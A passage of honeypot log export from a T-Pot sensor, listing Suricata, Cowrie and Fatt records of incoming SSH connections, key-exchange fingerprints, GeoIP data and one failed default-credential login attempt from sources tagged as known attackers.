29513	8.37.43.231	109.199.241.180	Suricata	2021-09-20 14:26:43.635923+03	2021-09-20 14:30:04.221524+03	{"_id": "Cgb1AnwBvYTbRNuEUzbh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.99.16.8843534"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.37.43.231", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "proto": "TCP", "src_ip": "8.37.43.231", "dest_ip": "192.168.20.116", "flow_id": 1716004520109412, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51418, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.635923Z", "@timestamp": "2021-09-20T11:26:43.635Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
29514	14.29.64.91	109.199.241.180	Cowrie	2021-09-20 14:26:47.694964+03	2021-09-20 14:30:04.222524+03	{"_id": "JQb1AnwBvYTbRNuEYTb0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "14.29.64.91", "asn": 4134, "as_org": "Chinanet", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "city_name": "Guangzhou", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "14.29.64.91", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 14.29.64.91:50840 (192.168.176.2:22) [session: c5efe78b5025]", "session": "c5efe78b5025", "@version": "1", "protocol": "ssh", "src_port": 50840, "dest_port": 22, "timestamp": "2021-09-20T11:26:47.694964Z", "@timestamp": "2021-09-20T11:26:47.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29546	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:27:06.614713+03	2021-09-20 14:30:04.264524+03	{"_id": "bgb1AnwBvYTbRNuErTbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42294, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1140109538386233, "@version": "1", "in_iface": "enp5s0", "src_port": 52603, "dest_port": 53, "timestamp": "2021-09-20T11:27:06.614713Z", "@timestamp": "2021-09-20T11:27:06.614Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29515	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:26:47.818614+03	2021-09-20 14:30:04.223523+03	{"_id": "Jgb1AnwBvYTbRNuEYTb0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:49890 (192.168.176.2:22) [session: bf006dc22024]", "session": "bf006dc22024", "@version": "1", "protocol": "ssh", "src_port": 49890, "dest_port": 22, "timestamp": "2021-09-20T11:26:47.818614Z", "@timestamp": "2021-09-20T11:26:47.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29516	8.37.43.231	109.199.241.180	Cowrie	2021-09-20 14:26:47.172743+03	2021-09-20 14:30:04.224523+03	{"_id": "Jwb1AnwBvYTbRNuEYTb0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.231", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.231", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "9a97a52c62f1", "@version": "1", "duration": 3.85016131401062, "timestamp": "2021-09-20T11:26:47.172743Z", "@timestamp": "2021-09-20T11:26:47.172Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
29517	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:26:47.821614+03	2021-09-20 14:30:04.226524+03	{"_id": "KAb1AnwBvYTbRNuEYTb0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "bf006dc22024", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:26:47.821614Z", "@timestamp": "2021-09-20T11:26:47.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29518	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:26:48.116801+03	2021-09-20 14:30:04.227523+03	{"_id": "KQb1AnwBvYTbRNuEYTb0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "bf006dc22024", "@version": "1", "timestamp": "2021-09-20T11:26:48.116801Z", "@timestamp": "2021-09-20T11:26:48.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29519	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:26:48.115986+03	2021-09-20 14:30:04.228523+03	{"_id": "Kgb1AnwBvYTbRNuEYzaE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 1847709694162418, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49890, "dest_port": 22, "timestamp": "2021-09-20T11:26:48.115986Z", "@timestamp": "2021-09-20T11:26:48.115Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29520	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:26:48.116201+03	2021-09-20 14:30:04.229524+03	{"_id": "LQb1AnwBvYTbRNuEZDar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49890, "dest_port": 22, "timestamp": "2021-09-20T11:26:48.116201", "@timestamp": "2021-09-20T11:26:48.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29521	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:26:49.382317+03	2021-09-20 14:30:04.230524+03	{"_id": "Lgb1AnwBvYTbRNuEaTad", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [server/root] failed", "session": "bf006dc22024", "@version": "1", "password": "root", "username": "server", "timestamp": "2021-09-20T11:26:49.382317Z", "@timestamp": "2021-09-20T11:26:49.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29522	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:26:50.687292+03	2021-09-20 14:30:04.232523+03	{"_id": "MAb1AnwBvYTbRNuEbTaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "bf006dc22024", "@version": "1", "duration": 2.8660237789154053, "timestamp": "2021-09-20T11:26:50.687292Z", "@timestamp": "2021-09-20T11:26:50.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29523	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:26:43.62114+03	2021-09-20 14:30:04.233523+03	{"_id": "Dgb1AnwBvYTbRNuEUzbh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:26:40.233267+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 922326777499443, "payload": "AAADzAYURVBEGbJDbEO8KUkdj68m5wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53364, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:26:43.621140Z", "@timestamp": "2021-09-20T11:26:43.621Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......EPD..ClC.)I...&....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29524	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:26:43.928928+03	2021-09-20 14:30:04.234525+03	{"_id": "Dwb1AnwBvYTbRNuEUzbh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:26:43.573979+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1364626804818459, "payload": "AAADzAYUgGP22jiyzP6cX6bNSlZTzwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43864, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:26:43.928928Z", "@timestamp": "2021-09-20T11:26:43.928Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......c..8...._..JVS....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29525	159.89.194.160	109.199.241.180	Fatt	2021-09-20 14:26:43.928928+03	2021-09-20 14:30:04.235525+03	{"_id": "EAb1AnwBvYTbRNuEVTYK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": 